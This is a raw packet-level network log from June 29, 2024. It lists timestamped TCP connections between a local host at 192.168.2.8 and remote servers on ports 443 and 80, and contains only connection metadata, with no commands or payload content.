Jun 29, 2024 16:30:02.138104916 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138112068 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.138149023 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138174057 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138215065 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138263941 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.161339045 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.161381960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.161420107 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.161447048 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.161464930 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.161489010 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.205811977 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.205843925 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.205889940 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.205924034 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.205944061 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.205970049 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.206657887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.206700087 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.206732035 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.206737995 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.206768990 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.206787109 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.207514048 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.207560062 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.207571983 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.207582951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.207622051 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.207633018 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.208180904 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.208208084 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.208235025 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.208240986 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.208270073 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.208287954 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.209330082 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.209378004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.209407091 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.209412098 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.209443092 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.209469080 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.210189104 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.210222006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.210242987 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.210254908 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.210319996 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.211111069 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.211126089 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.211178064 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.211184978 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.211317062 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.249955893 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.249973059 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.250032902 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.250061989 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.250176907 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.294583082 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.294605017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.294672966 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.294708967 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.294851065 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.295314074 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.295326948 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.295372009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.295380116 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.295412064 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.295422077 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.296029091 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296042919 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296096087 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.296103954 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296277046 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.296634912 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296649933 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296710014 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.296716928 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.296785116 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.297549009 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.297564030 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.297616005 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.297624111 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.297704935 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.298301935 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.298316956 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.298369884 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.298377037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.298429012 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.299124956 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.299138069 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.299190044 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.299196959 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.299283981 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.339148045 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.339165926 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.339265108 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.339350939 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.339426994 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.383548021 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.383570910 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.383631945 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.383661032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.383729935 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.384154081 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.384169102 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.384221077 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.384232998 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.384355068 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.385086060 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385101080 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385152102 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.385163069 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385274887 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.385813951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385826111 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385880947 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.385888100 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.385947943 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.386337996 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.386353016 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.386401892 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.386409044 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.386478901 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.387198925 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.387214899 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.387264967 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.387275934 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.387320042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.388320923 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.388338089 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.388386965 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.388396025 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.388442039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.412976980 CEST	80	49708	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:02.428369999 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.428388119 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.428476095 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.428508043 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.428561926 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.455174923 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:02.473432064 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.473450899 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.473563910 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.473589897 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.473721981 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.473988056 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474004030 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474066973 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.474073887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474138975 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.474777937 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474792004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474853039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.474860907 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.474912882 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.475374937 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475389957 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475444078 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.475450993 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475496054 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.475759983 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475800037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475822926 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.475831032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.475853920 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.475871086 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.476068020 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.476083040 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.476130009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.476136923 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.476174116 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.477436066 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.477449894 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.477503061 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.477511883 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.477583885 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.479243040 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.479257107 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.479307890 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.479321957 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.479361057 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.561805964 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.561836958 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.561896086 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.561939001 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.561959028 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.561985970 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.563647032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.563663960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.563720942 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.563740969 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.563766003 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.563808918 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.564555883 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.564575911 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.564640045 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.564657927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.564687967 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.564707041 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.565438032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.565454960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.565517902 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.565546989 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.565608025 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.566365957 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.566385031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.566425085 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.566437960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.566469908 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.566649914 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.567982912 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.567998886 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.568058014 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.568078995 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.568133116 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.568814993 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.568833113 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.568876982 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.568888903 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.568913937 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.568933964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.569708109 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.569724083 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.569773912 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.569787025 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.569845915 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.598558903 CEST	80	49709	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:02.642647982 CEST	49709	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:02.650662899 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.650682926 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.650799990 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.650800943 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.650868893 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.650938988 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.652673006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.652688980 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.652770996 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.652798891 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.652870893 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.653264046 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.653279066 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.653326035 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.653347969 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.653374910 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.653389931 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.654279947 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.654294968 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.654386997 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.654396057 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.654643059 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.655280113 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.655292988 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.655368090 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.655374050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.655522108 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.656558037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.656575918 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.656645060 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.656651020 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.656689882 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.657696009 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.657710075 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.657762051 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.657767057 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.657824993 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.658874035 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.658888102 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.658957958 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.658963919 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.661624908 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.673122883 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.741662979 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.741682053 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.741744041 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.741756916 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.741816044 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.743024111 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743040085 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743113995 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.743119955 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743215084 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.743763924 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743779898 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743849039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.743853092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.743916988 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.744703054 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.744719028 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.744786978 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.744792938 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.744847059 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.745348930 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745361090 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745497942 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.745503902 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745546103 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.745749950 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745764017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745810986 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.745815992 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.745908022 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.746777058 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.746792078 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.746855021 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.746859074 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.747081995 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.785224915 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.785248041 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.785312891 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.785346031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.785372019 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.785393000 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.831197977 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.831221104 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.831299067 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.831367016 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.831785917 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.832125902 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.832142115 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.832194090 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.832210064 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.832241058 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.832271099 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.832823038 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.832838058 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.832902908 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.832916975 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.833105087 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.834640980 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.834661007 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.834707022 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.834719896 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.834753036 CEST	49707	443	192.168.2.8	185.199.110.133
